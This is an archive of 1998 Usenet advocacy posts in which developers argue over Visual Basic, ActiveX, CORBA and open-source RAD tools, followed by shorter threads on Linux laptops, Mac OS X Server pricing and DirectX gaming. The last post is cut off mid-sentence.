>million GUI/RAD/4GL developers, an order of magnitude more than low
>level coders, and we would love be able to use opensource, crossplatform
>tools instead of proprietary, single-platform, closed-source, buggy tools.
These people should pick up Xemacs and learn how open source software works.
And Linux has plenty of GUI/RAD/4GL development tools available for it.
--
Tracy Reed http://www.ultraviolet.org
Linux: Opening doors and shattering Windows.
From: treed@freeside.ultraviolet.org (Tracy R Reed)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net>
Organization: Ultraviolet
Message-ID: <slrn76kaa9.fbg.treed@freeside.ultraviolet.org>
Date: Sun, 06 Dec 1998 06:50:49 GMT
NNTP-Posting-Date: Sat, 05 Dec 1998 22:50:49 PDT
Michael J. Peck <mjpeck@nstar.net> wrote:
>> As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
>> ActiveX is brain dead, VB is for idiots and accountants.
>
>And people who develop lightweight GUI applications.
That is what tcl-perl-python/tk are for.
>> If you want to develop software, use real tools. C/C++ and/or Assembler.
>> ActiveX is an intentional road block to portability.
>
>Now this is rich. ActiveX is an intentional road block to portability,
>unlike C++ or Assembler. Whatever.
Assembler certainly isn't portable but I've compiled the same C++ code on many
different platforms. It's far more portable than Visual anything.
--
Tracy Reed http://www.ultraviolet.org
Linux: Opening doors and shattering Windows.
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 06:59:56 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74da1c$7vo$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net>
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In article <366a1773.0@news.cgocable.net> Rob Jarrett,
n0spam_robj@cgocable.net writes:
>Dude, I've been a professional Windows asm/C/C++ programmer for 7 years now.
>I admit I have some attitude against RAD developers calling themselves
>progammers.
Gee, aren't we the cat's meow! We have the "real" programmers who use
ASM and C and C++, and the pathetic wusses who can't program and instead
use inferior tools like VB which is all their little minds can handle.
Well guess what, many of us have used C++ and ASM and find that for the
kinds of tasks we have to handle these tools are like using sledge
hammers to chop vegetables.
>
>But after your message, all I can say is lighten up a little!
>
>ActiveX (which is a pretty much dead term in MS's eyes) is built on COM,
>which certainly isn't brain-dead.
Funny, a search on microsoft.com for ActiveX retrieved tons of recent web
pages.
It ain't exactly the most fun thing to
>program (unless you think writing thread pools and marshalling to and from
>streams is fun), but is pretty damn powerful nonetheless.
>
>But I agree that VB sucks. ;-)
"VB Sucks". Which is why, no doubt, there are five VB programmers for
every C++ programmer.
When you need to develop an application in three months that features 20+
feature-full dialog boxes, with over 1000 controls, reads and write files
locally and remotely via local fs, SMB, and FTP protocols, and has a
professional-quality interface, what do you use? Assembler?
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:04:59 GMT
Organization: NETworthy Inc.
Distribution: world
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References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net>
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In article <3669FD63.5BD808D6@nstar.net> Michael J. Peck,
mjpeck@nstar.net writes:
>> If you want to develop software, use real tools. C/C++ and/or Assembler.
>> ActiveX is an intentional road block to portability.
>
>Now this is rich. ActiveX is an intentional road block to portability,
>unlike C++ or Assembler. Whatever.
ActiveX is merely a name for win32 software objects.
However, Microsoft _has_ tried to push ActiveX document development as a
web development technology, where IMHO it is inappropriate. ActiveX is a
WIN32 only technology and the antithesis of the open web, especially
considering the broad variety of current and future platforms for
internet access that are appearing. So while ActiveX itself is not, IMO,
an attempt to sabotage code portability but merely another Win32
development tool, Microsoft's efforts to promote ActiveX documents as
"internet documents" is, IMO, exactly that.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:06:41 GMT
Organization: NETworthy Inc.
Distribution: world
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References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net>
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In article <19981205200052.00946.00000365@ng-bw1.aol.com> WillAdams,
willadams@aol.com writes:
>Believe it or not, there's much better stuff out there than VisualBASIC.
>
>I'd suggest reading the OpenStep specification which is available from
><www.gnustep.org>.
>
>As regards the advantages of graphical interface/programming tools--well, you
>should take a look at InterfaceBuilder, unfortunately, GNUstep doesn't have an
>equivalent yet, (though they are planning on it).
As someone who is admittedly impressed with the VB6 IDE and extreme
object-centered approach, I am curious as to why IB and OpenStep might be
superior platforms.
Perhaps someone can enlighten me.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:09:23 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74daj3$va6$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net>
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In article <slrn76jlho.lp.davecook@sputnik.escnd1.sdca.home.com> David M.
Cook, davecook@home.com writes:
>Take a look at www.gnustep.org. Also, both GNOME and KDE will use CORBA.
I have looked at CORBA, but IMO it is more about data-rich objects and
not much about visual interface objects. Perhaps I am mistaken? In any
event, I believe in the superiority of CORBA as a middleware layer over
DCOM because I feel DCOM is another MS-first, MS-best, closed, every one
else will get shafted "standard". But I think the market will go to
CORBA.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:21:33 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74db9t$dja$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net>
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In article <3669FCCC.ABCCE1A0@mohawksoft.com> Mark Woodward,
markw@mohawksoft.com writes:
>As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
You wow me with your evidence of maturity and truly advanced adulthood.
>ActiveX is brain dead, VB is for idiots and accountants.
And punchcards for all, eh?
>
>If you want to develop software, use real tools. C/C++ and/or Assembler.
Yeah. Assembler. Right.
Let me guess, you develop all your front ends with assembler.
>ActiveX is an intentional road block to portability.
See my other post on this topic.
The RAD development
>idea is for idiotic acronym touting jerks.
Right. C++, the be-all-end-all of polished, bug-free, leak-free software
delivered on time, on budget, all features in place and ready to go.
ROFL.
If you can write an
>application in VB in 1 day or less, it like any interpreted language is
>fine.
Again you show your stunning command of the times. VB has been a
compilable language for years now.
And
When you want to write real applications, VB is a huge road block
>to success.
Why exactly? Because god has spoken?
>
>I know, this discussion will cause a lot of hate responses. This will no
>doubt be the result of VB developers to justify their positions. Too
>bad, you will write, I expect that you will, and alas, in two years when
>your big VB project has taken a year more than it should have. I hope
>you remember.
Spoken by an asm/c/c++ developer? The mind boggles.
Those languages have their uses. But prompt delivery ain't it.
MC
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:28:43 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74dbnb$2gq$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74dae1$98q$1@camel21.mindspring.com> <74daj3$va6$1@camel21.mindspring.com>
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In article <slrn76ka3m.fbg.treed@freeside.ultraviolet.org> Tracy R Reed,
treed@freeside.ultraviolet.org writes:
>Matthew Cromer <matthew_cromer@iname.com> wrote:
>>development tools, it may take a while until someone decides to kick
>>Microsoft's butt in this field with an opensource project like has
>>happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
>
>I think the fact that we are kicking MS's butt in so many areas demonstrates
>that one does not need a Visual style environment to produce good code.
It depends entirely on what kind of application you are trying to write,
how much time you have, etc.
I wouldn't recommend you write kernel driver code with VB, but someone
using assembly to write interfaces is making a bad choice as well.
>
>>But I hope it doesn't take too long. Remember there are at least 3.5
>>million GUI/RAD/4GL developers, an order of magnitude more than low
>>level coders, and we would love be able to use opensource, crossplatform
>>tools instead of proprietary, single-platform, closed-source, buggy tools.
>
>These people should pick up Xemacs and learn how open source software works.
I'm not sure why open source needs to be limited to a single type of
application development. Visual IDEs are where the bulk of development
is being done today.
>
>And Linux has plenty of GUI/RAD/4GL development tools available for it.
I would love to learn about them and look into them.
Matthew Cromer
From: perrypip@my-dejanews.com (Perry Pip)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com>
Message-ID: <slrn76kcjc.io8.perrypip@apollo.netservers.com>
NNTP-Posting-Date: Sun, 06 Dec 1998 02:29:50 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 06 Dec 1998 07:29:50 GMT
In comp.os.linux.advocacy, you wrote:
>Part of the advantage of the Microsoft platform for developers is the
>component model, which used to be called OLE and then OLE 2 and now which
>is called ActiveX.
>
>ActiveX is basically reuse of binary software components. There are a
>number of types of ActiveX components, from remote application invocation
>(ActiveX client and server), external procedure calls (ActiveX dlls) and
>finally ActiveX controls, which are literally parts of applications that
>are compiled binary objects that perform functions like textboxes, rtf
>textboxes, data access controls tying an application to odbc or other
>database drivers, video playback windows, and all kinds of other objects
>useful in application development. I believe in the old MacOS similar
>functions were provided by XFCNs and XCMDs with Hypercard, at least.
>
>I am wondering what kind of analogous parts are planned or exist for
>MacOS X. I believe that Java is using Javabeans and the like for this
>kind of functionality. I am also wondering if there is any movement
>towards this sort of component architecture forthcoming in the Opensource
>world.
For a good component model you might look into CORBA which will be
supported by Gnome, GnuStep, and KDE. It might not have all the features
you want but you're always welcome to contribute to it if you want.
>As a Microsoft VB developer, I am eagerly awaiting the time when an
>opensource team decides to take on Visual Basic, and ActiveX with an
>equivalent cross-platform, opensource technology. For while Microsoft
>pays my bills today, I am not enamored and swooning with Microsoft and in
>fact am convinced that an opensource team could do a better VB. Part of
>what is required is an admission from the opensource folks that a visual
>IDE has some profound advantages for certain programming tasks over the
>bare-metal flavor of a GCC or the like. Given the typical disdain for
>which much of the historical opensource movement holds for GUI/RAD
>development tools, it may take a while until someone decides to kick
>Microsoft's butt in this field with an opensource project like has
>happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
>But I hope it doesn't take too long. Remember there are at least 3.5
>million GUI/RAD/4GL developers, an order of magnitude more than low
>level coders, and we would love be able to use opensource, crossplatform
>tools instead of proprietary, single-platform, closed-source, buggy tools.
You might look at Visual Tcl
Other than that, I don't think the open source community is interested in
something like VB because most believe that that is what leads to buggy,
bloated code. But if you really what such a tool your always welcome to
code it yourself. That's how all open source tools came to be, people
wanted it bad enough to code it themselves.
Regards,
Perry
--
Revenge of the nerds....GNUke Redmond!!!
Perry Piplani www.open-systems.com
perry@perrypip.com perrypip.netservers.com
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:29:51 GMT
Organization: NETworthy Inc.
Distribution: world
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In article <slrn76kaa9.fbg.treed@freeside.ultraviolet.org> Tracy R Reed,
treed@freeside.ultraviolet.org writes:
>>Now this is rich. ActiveX is an intentional road block to portability,
>>unlike C++ or Assembler. Whatever.
>
>Assembler certainly isn't portable but I've compiled the same C++ code on many
>different platforms. It's far more portable than Visual anything.
Well, Basic is fairly portable. The visual elements, while not generally
highly portable can be easily duplicated in another visual ide on the
other platform.
Matthew Cromer
From: Matthew Cromer <matthew_cromer@iname.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 07:34:03 GMT
Organization: NETworthy Inc.
Distribution: world
Message-ID: <74dc1b$4b9$1@camel21.mindspring.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <74db9t$dja$1@camel21.mindspring.com> <74dbnb$2gq$1@camel21.mindspring.com>
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In article <slrn76kcjc.io8.perrypip@apollo.netservers.com> Perry Pip,
perrypip@my-dejanews.com writes:
>You might look at Visual Tcl
I will, thanks.
>
>Other than that, I don't think the open source community is interested in
>something like VB because most believe that that is what leads to buggy,
>bloated code.
Well, the latest build of my work-in-progress VB app fits in 120K, for an
app with (at this point) about 20 forms and probably 200 GUI components.
That seems reasonable to me.
But if you really what such a tool your always welcome to
>code it yourself. That's how all open source tools came to be, people
>wanted it bad enough to code it themselves.
I agree, it would be great if I could do it myself, and I may be able to
contribute some to such an effort. But I am married, have two young
kids, and work 50 hour weeks, so my days are pretty full.
>
>Regards,
>
>Perry
From: Bob Nelson <bnelson@netcom.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: 6 Dec 1998 01:39:53 -0600
Organization: a properly-configured Linux INN site
Sender: bnelson@renpen.nelson.org
Message-ID: <74dcc9$295$1@renpen.nelson.org>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <slrn76ka3m.fbg.treed@freeside.ultraviolet.org>
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Bcc: bnelson@iname.com
User-Agent: tin/pre-1.4-980618 (UNIX) (Linux/2.1.130 (i586))
Tracy R Reed <treed@freeside.ultraviolet.org> wrote:
> Matthew Cromer <matthew_cromer@iname.com> wrote:
>>development tools, it may take a while until someone decides to kick
>>Microsoft's butt in this field with an opensource project like has
>>happened with Apache and the Linux/BSDs versus IIS and the NT kernal.
> I think the fact that we are kicking MS's butt in so many areas demonstrates
> that one does not need a Visual style environment to produce good code.
Linux (actually the chain of Unix predecessors) have had visual development
tools since the time that Gates was still in New Mexico making the first
series of his toy software. Take ``vi''. It is, after all, the ``visual''
editor, offering a core component of more robust development environment
than any of Delphi or the Visual Studio suite.
--
========================================================================
Bob Nelson -- Dallas, Texas, USA (bnelson@iname.com)
http://www.oldradio.com/archives/nelson/open-computing.html
``Those who don't understand UNIX are condemned to reinvent it, poorly.''
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 07:58:37 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <74ddfd$slo$1@nnrp1.dejanews.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com>
In article <3669FCCC.ABCCE1A0@mohawksoft.com>,
Mark Woodward <markw@mohawksoft.com> wrote:
> As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
> ActiveX is brain dead, VB is for idiots and accountants.
>
> If you want to develop software, use real tools. C/C++ and/or Assembler.
Large financial systems, supercomputer code and flight control systems are, of
course, toy problems and don't need the power of C/C++ or assember. That's why
they are commonly written in FORTRAN, M2 and other languages.
> ActiveX is an intentional road block to portability. The RAD development
> idea is for idiotic acronym touting jerks. If you can write an
> application in VB in 1 day or less, it like any interpreted language is
> fine. When you want to write real applications, VB is a huge road block
> to success.
There isn't a one-to-one relationship between VB and RAD. There are RAD
environment's which are very good. IB comes to mind. BTW, what, in your
opinion (which could only be formed through the use of your massive
intellect), makes C++ a "real" tool?
--
Brian Quinlan
quinlan@intergate.bc.ca
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76kfuf.fv.davecook@sputnik.escnd1.sdca.home.com>
Date: Sun, 06 Dec 1998 08:26:50 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 00:26:50 PDT
On Sat, 05 Dec 1998 21:43:31 -0600, Michael J. Peck <mjpeck@nstar.net> wrote:
>Now this is rich. ActiveX is an intentional road block to portability,
Intentional or not, it's massively non-portable.
>unlike C++ or Assembler. Whatever.
Netscape is written to be portable to many platforms using a carefully
chosen C++ subset.
Dave Cook
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 00:03:33 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76keil.4ac.jedi@dementia.mishnet>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FCCC.ABCCE1A0@mohawksoft.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu>
On 6 Dec 98 05:20:38 GMT, Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
>In comp.sys.next.advocacy Michael J. Peck <mjpeck@nstar.net> wrote:
>> Mark Woodward wrote:
>> >
>> > As a Windows/Windows NT/Linux/UNIX developer, I can only say grow up.
>> > ActiveX is brain dead, VB is for idiots and accountants.
>
>> And people who develop lightweight GUI applications.
TK or python or even java with a nice resource
editor would be considerably more useful to that end...
>
>With VB? Make that 'obese lightweight GUI applications'
>
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: Mark Woodward <markw@mohawksoft.com>
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 06 Dec 1998 19:22:12 -0500
Organization: Mohawk Software
Message-ID: <366B1FB4.AF4F4A44@mohawksoft.com>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net> <74da1c$7vo$1@camel21.mindspring.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Matthew Cromer wrote:
> "VB Sucks". Which is why, no doubt, there are five VB programmers for
> every C++ programmer.
Yes, but, remember there are at least five idiots per wise man ratio in
real life too. ;-)
--
Mohawk Software
Windows 95, Windows NT, UNIX, Linux. Applications, drivers, support.
Visit the Mohawk Software website: www.mohawksoft.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 00:31:30 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76kg72.4ac.jedi@dementia.mishnet>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net> <74dae1$98q$1@camel21.mindspring.com>
On 6 Dec 1998 07:06:41 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <19981205200052.00946.00000365@ng-bw1.aol.com> WillAdams,
>willadams@aol.com writes:
>>Believe it or not, there's much better stuff out there than VisualBASIC.
>>
>>I'd suggest reading the OpenStep specification which is available from
>><www.gnustep.org>.
>>
>>As regards the advantages of graphical interface/programming tools--well, you
>>should take a look at InterfaceBuilder, unfortunately, GNUstep doesn't have an
>>equivalent yet, (though they are planning on it).
>
>As someone who is admittedly impressed with the VB6 IDE and extreme
>object-centered approach, I am curious as to why IB and OpenStep might be
>superior platforms.
>
>Perhaps someone can enlighten me.
Nextstep style programming where coding is actually done
visually besides just thinking your enviroment is visual,
using it as a bloated resource editor, & still doing the
bulk of the coding yourself.
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: jedi@dementia.mishnet ()
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
Date: Sun, 6 Dec 1998 00:30:26 -0800
Organization: Posted via Supernews, http://www.supernews.com - Discussions start here!
Message-ID: <slrn76kg52.4ac.jedi@dementia.mishnet>
References: <74cjfv$ss3$1@samsara0.mindspring.com> <3669FD63.5BD808D6@nstar.net> <366a1426.0@news.depaul.edu> <366a1773.0@news.cgocable.net> <74da1c$7vo$1@camel21.mindspring.com>
On 6 Dec 1998 06:59:56 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>In article <366a1773.0@news.cgocable.net> Rob Jarrett,
>n0spam_robj@cgocable.net writes:
>>Dude, I've been a professional Windows asm/C/C++ programmer for 7 years now.
>>I admit I have some attitude against RAD developers calling themselves
>>progammers.
>
>Gee, aren't we the cat's meow! We have the "real" programmers who use
>ASM and C and C++, and the pathetic wusses who can't program and instead
>use inferior tools like VB which is all their little minds can handle.
>Well guess what, many of us have used C++ and ASM and find that for the
>kinds of tasks we have to handle these tools are like using sledge
>hammers to chop vegetables.
That must be why C & C++ are just the tips of the iceberg
when it comes to languages installed with even Redhat and
how that diversity of language choice is simply unmatched
by what is available for WinDOS, especially in retail
outlets.
[deletia]
--
Unix had startmenus and taskbars before Microsoft |||
even had a decent memory manager for DOS. / | \
In search of sane PPP docs? Try http://penguin.lvcm.com
From: davecook@home.com (David M. Cook)
Newsgroups: comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Component Model, RAD development, opensource
References: <74cjfv$ss3$1@samsara0.mindspring.com>
Organization: http://www.kernel-panic.com/links/devel.html
Message-ID: <slrn76khc7.fv.davecook@sputnik.escnd1.sdca.home.com>
Date: Sun, 06 Dec 1998 08:51:13 GMT
NNTP-Posting-Date: Sun, 06 Dec 1998 00:51:13 PDT
On 6 Dec 1998 00:35:11 GMT, Matthew Cromer <matthew_cromer@iname.com> wrote:
>what is required is an admission from the opensource folks that a visual
>IDE has some profound advantages for certain programming tasks over the
>bare-metal flavor of a GCC or the like. Given the typical disdain for
>which much of the historical opensource movement holds for GUI/RAD
>development tools, it may take a while until someone decides to kick
I don't think visual tools are absolutely necessary even for GUI apps. A
RAD language like Python together with a good GUI API can make up for the
lack of a bells and whistles graphical IDE. It's at least allows for very
quick prototyping.
http://www.python.org
http://www.daa.com.au/~james/pygtk/
From: joecosby@himfiq.seatac.net (Joe Cosby)
Subject: Re: Linux preinstalled laptops?
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
References: <7329lg$ot0$1@nnrp02.primenet.com> <ee352.3248$%X5.8067515@newsgate.direct.ca> <xzq1zmyd9nk.fsf@uni-paderborn.de> <slrn75bgbb.bqd.float@interport.net> <911595335.545550@optional.cts.com> <slrn75bobf.drp.float@interport.net> <73cl43$h48$1@cronkite.cs.umd.edu> <73cmlm$omf$6@newnews.nl.uu.net> <F2x7L2.t1@a2e.de>
Message-ID: <B4sa2.6167$td3.25023@news12.ispnews.com>
NNTP-Posting-Date: Sun, 06 Dec 1998 04:25:53 EDT
Organization: ISPNews http://ispnews.com
Date: Sun, 06 Dec 1998 09:25:53 GMT
** To reply in e-mail, remove "himfiq." from address **
ALSO SPRACH PILCH Hartmut:
> Toon Moene <toon@moene.indiv.nluug.nl> writes:
>
> >Whoops. I'm glad I got Linux running on my new Compaq Laptop then - the only
> >thing left is buying a modem card and a printer - must be possible in the
> >remaining 13 months ...
>
> I'm about to buy a laptop/notebook, and it has to be with Linux preinstalled,
> since I don't want to risk spending weeks on studying PCMCIA drivers.
I'm not really up on Linux, but I've heard Red Hat is much easier
than previous flavors of Linux to install.
Does anybody know, will Red Hat handle drivers automatically?
> I heard that Compaq laptops are all "Linux compatible". Is that true?
> Do they also offer preinstallation?
>
> In Munich, CompuPlus (www.compuplus.de) does offer that, but I don't know
> for sure about anyone else.
>
> --
> Hartmut Pilch
> http://www.a2e.de/phm/
--
----------------------------------------------------
Joe Cosby
Devout member of the Church of Amiga since 1990
"Whatever you can do, or dream you can, begin it.
Boldness has genius, power and magic in it" - Goethe
----------------------------------------------------
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy
Subject: Re: New date for OS X Server?
Date: 5 Dec 98 03:16:04
Organization: Is a sign of weakness
Message-ID: <SCOTT.98Dec5031604@slave.doubleu.com>
References: <01be1188$01ce14e0$06387880@chewy>
<whaddock-1711981824460001@digital-03-213.hou.neosoft.com>
<72tfuq$oj0@shelob.afs.com>
<ZIt42.1609$rY3.5423920@news.rdc1.sdca.home.com>
<01be1317$dca3f220$06387880@chewy>
<731j16$6r4$1@ash.prod.itd.earthlink.net>
<%G%42.2862$rY3.6449682@news.rdc1.sdca.home.com>
<732c5r$bim$1@nnrp1.dejanews.com> <732qrv$ae5@news1.panix.com>
<733up8$l4h$1@nnrp1.dejanews.com> <739lhb$g1r@news1.panix.com>
<SCOTT.98Nov30212634@slave.doubleu.com> <F3AoEs.4oL@T-FCN.Net>
<SCOTT.98Dec3001200@slave.doubleu.com> <F3ECEw.AzA@T-FCN.Net>
<746o4g$dol$1@nnrp1.dejanews.com> <F3Erws.Izr@T-FCN.Net>
<748tgd$8bl$1@nnrp1.dejanews.com> <F3GBsE.HMv@T-FCN.Net>
<749g2v$pao$1@nnrp1.dejanews.com>
In-reply-to: spagiola@my-dejanews.com's message of Fri, 04 Dec 1998 20:18:42 GMT
In article <749g2v$pao$1@nnrp1.dejanews.com> spagiola@my-dejanews.com writes:
maury@remove_this.istar.ca (Maury Markowitz) wrote:
> They're not. You seem to want to make a really big deal about them not
> making a client package _right_now_. Sorry, I simply don't see this as the
> issue that you make it out to be.
> [snip] Could they sell this as a client OS to their
> users right now? No.
Wrong. They could sell it to me. And to several other posters here.
That's at a minimum.
But clearly there's no point on carrying this discussion on. You
apparently don't believe that shipping OSX Server now at a price
that makes it affordable to end-users is important. I disagree.
I don't think it's at _all_ important to make it affordable for
"end-users", for the generally accepted definition for "end-users".
I'm going to arbitrarily divide the universe of users into three
portions. There are the really high-end people who could use MacOS X
Server to serve hundreds/thousands/millions of customers with only a
handful of techs to keep things running. There are the the mid-range
small development shop types who could use MacOS X Server to see what
the future is going to look like. Then there are the consumer-level
users, who could only use MacOS X Server in sadomasochistic rituals.
I fully agree that it shouldn't be priced so cheaply that these
consumer-level users accidentally get tempted. MacOS X Server isn't
ready for that kind of abuse. But the second group of potential
customer for MacOS X Server will determine the success of MacOS X.
Unless Apple intends to become a consultancy, they cannot afford to
only target the highest of the high ends. They need to target that
"middle class" of users, which is what drives the market.
Admittedly, this is challanging Microsoft on its own ground (that's
where Microsoft made the Windows market, and they're only now reaching
for the big iron). But right now it's a war of attrition. Every day
that Apple waits to address the small to medium developer market, a
couple shops leave for the Windows market. It would be a lot easier
to keep them in the fold now rather than have to try to win them back
later.
Later,
--
scott hess <scott@doubleu.com> (408) 739-8858 http://www.doubleu.com/
<Favorite unused computer book title: The Compleat Demystified Idiots
Guide to the Zen of Dummies in a Nutshell in Seven Days, Unleashed>
Message-ID: <366A24C7.38133CFE@nstar.net>
Date: Sun, 06 Dec 1998 00:31:35 -0600
From: "Michael J. Peck" <mjpeck@nstar.net>
MIME-Version: 1.0
Newsgroups: comp.sys.next.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
References: <748vs5$rla@news1.panix.com> <749jgu$i32@ns2.alink.net>
<74c6im$qa4@news1.panix.com> <3669D728.E1ED3020@nstar.net>
<UQla2.62$L52.130@news.rdc1.ne.home.com> <3669FB38.101AF3C1@nstar.net>
<itoa2.75$L52.63@news.rdc1.ne.home.com> <366A18D3.B51F5856@nstar.net> <1gpa2.78$L52.13@news.rdc1.ne.home.com>
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Michael Lankton wrote:
Not sure how, but you managed to post this without saying anything I can
really disagree with. I hate that! It's hard to be combative this way...
> Too many of the games I have been playing recently require directx 6
> (halflife for one). And correct me if I am wrong, but I am pretty sure that
> sp3 only adds directx 3 support to nt4. Perhaps the directx 5 beta has been
> added to sp4, if sp4 has finally been released.
No, come to think of it, you're right; it's just DirectX 3.
[cut]
> I am sure this will be a dead issue when
> nt5/windows2000 is released. Personally, I dislike windows, so I boot win95
> when I feel like playing a game, then return to a stable and efficient os
> when I am done.
Same situation here.
> I don't expect it to. Frankly I'm amazed anyone does mac ports at all.
> Perhaps linux will continue to gain marketshare and more developers will make
> linux bins available. Like you said, the linux user demographic is primarily
> teen to 30-something males, most of whom probably play computer games. I
> think the same holds true for developers. People who went to school to learn
> to code usually develop a fondness for unix, and more of these people can now
> run unix (or a reasonable facsimile thereof) on their home boxes now that
> their are free unix-like os'es out there, not to mention student pricing from
> commercial unix vendors. It stands to reason, that some coders will do ports
> just because they want to see their game on their favorite os.
All of which I agree with. I think I just wanted to emphasize the fact
that Linux *could* be a gaming platform, if it just had reasonable
support for the technologies necessary.
> I get in this argument on irc all the time. Glide is a bad deal because
> _only_ 3dfx hardware is supported. Opengl as a game platform will certainly
> not be championed by microsoft when they have a competing api in direct3d.
> That, and not every video card has an opengl icd, whereas every card does
> have direct3d support. Is there no way directx (or a subset of) could be
> ported to other platforms? I would say no, but then there's wine, which I
> wouldn't think possible either. I don't know enough to comment on this
